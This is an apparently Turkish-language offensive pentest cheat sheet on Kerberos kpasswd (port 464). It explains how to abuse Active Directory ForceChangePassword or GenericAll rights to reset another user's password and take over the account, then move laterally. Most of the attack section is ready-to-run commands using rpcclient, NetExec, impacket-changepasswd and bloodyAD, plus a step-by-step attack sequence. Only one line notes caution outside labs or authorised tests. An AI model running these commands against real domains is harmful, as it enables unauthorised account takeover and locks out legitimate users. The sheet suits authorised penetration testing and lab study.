kpasswd (Kerberos parola degisimi)
adkpasswd (464/tcp+udp) Kerberos parola degistirme/ayarlama servisidir. Saldirgan acisindan onemi: User-Force-Change-Password (ForceChangePassword) ACL'ine sahip oldugun bir hedefin parolasini sifirlamak ya da bilinen parolayi degistirmek icin kullanilir - ACL abuse ve hesap ele gecirme zincirlerinin son adimi.
Komutlar
rpcclient -U '{{DOMAIN}}/{{USER}}%{{PASS}}' {{DC_IP}} -c 'setuserinfo2 TARGET_USER 23 NewP@ss123!' nxc smb {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M change-password -o USER=TARGET_USER NEWPASS=NewP@ss123! impacket-changepasswd '{{DOMAIN}}/TARGET_USER:OldP@ss@{{DC_IP}}' -newpass 'NewP@ss123!' impacket-changepasswd '{{DOMAIN}}/TARGET_USER@{{DC_IP}}' -newpass 'NewP@ss123!' -reset -altuser '{{USER}}' -altpass '{{PASS}}' bloodyAD -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --host {{DC_IP}} set password TARGET_USER 'NewP@ss123!' Port 464 - kpasswd (Kerberos Parola Degisimi)
Port 464, Kerberos’un parola degistirme/ayarlama servisidir. Recon’da pek ilgi cekmese de, ACL abuse zincirlerinin somut sonuca dondugu yerdir.
1. Neden Onemli - ForceChangePassword
BloodHound’da bir kullanicidan hedefe giden ForceChangePassword (User-Force-Change-Password) kenari gorursen, hedefin ESKI parolasini bilmeden parolasini sifirlayabilirsin. Bu, ad-acl-abuse teknigini dogrudan hesap ele gecirmeye cevirir ve sonra evil-winrm/psexec ile lateral movement (ad-lateral) yaparsin.
2. Iki Senaryo
- Reset (yetkiyle, eski parola bilinmeden): ForceChangePassword/GenericAll ACL’i ile rpcclient
setuserinfo2 ... 23, impacket-changepasswd-reset, NetExecchange-password, ya da bloodyADset password. - Change (kendi parolan, eski parola bilinerek): ‘password must change at next logon’ bayragi yenildiginde impacket-changepasswd ile eski->yeni degisimi. Bu, password spray ile bulunan ama ‘must change’ durumundaki hesaplar icin sik gereklidir.
3. Sira (prereq -> attack -> result)
- Prereq: BloodHound ile ForceChangePassword/GenericAll kenarini dogrula.
- Enum: hedef sAMAccountName’i ve DC’yi belirle.
- Attack: yukaridaki araclardan biriyle parolayi sifirla.
- Result: yeni credential ile
nxc smb {{DC_IP}} -u TARGET_USER -p NewP@ss123!dogrula, sonra erisim/lateral movement.
Gotchalar
- Parola politikasi (uzunluk/karmasiklik) yeni parolayi reddedebilir - guclu bir parola sec.
- Hesabi sifirlamak gurultuludur ve gercek kullaniciyi kilitleyebilir; lab/yetkili pentest disinda dikkat.
- ‘password must change’ hesaplar normal bind’de reddedilir ama changepasswd ile once degistirip sonra giris yapabilirsin.
- Saat senkronizasyonu (clock skew) kpasswd icin de gecerlidir.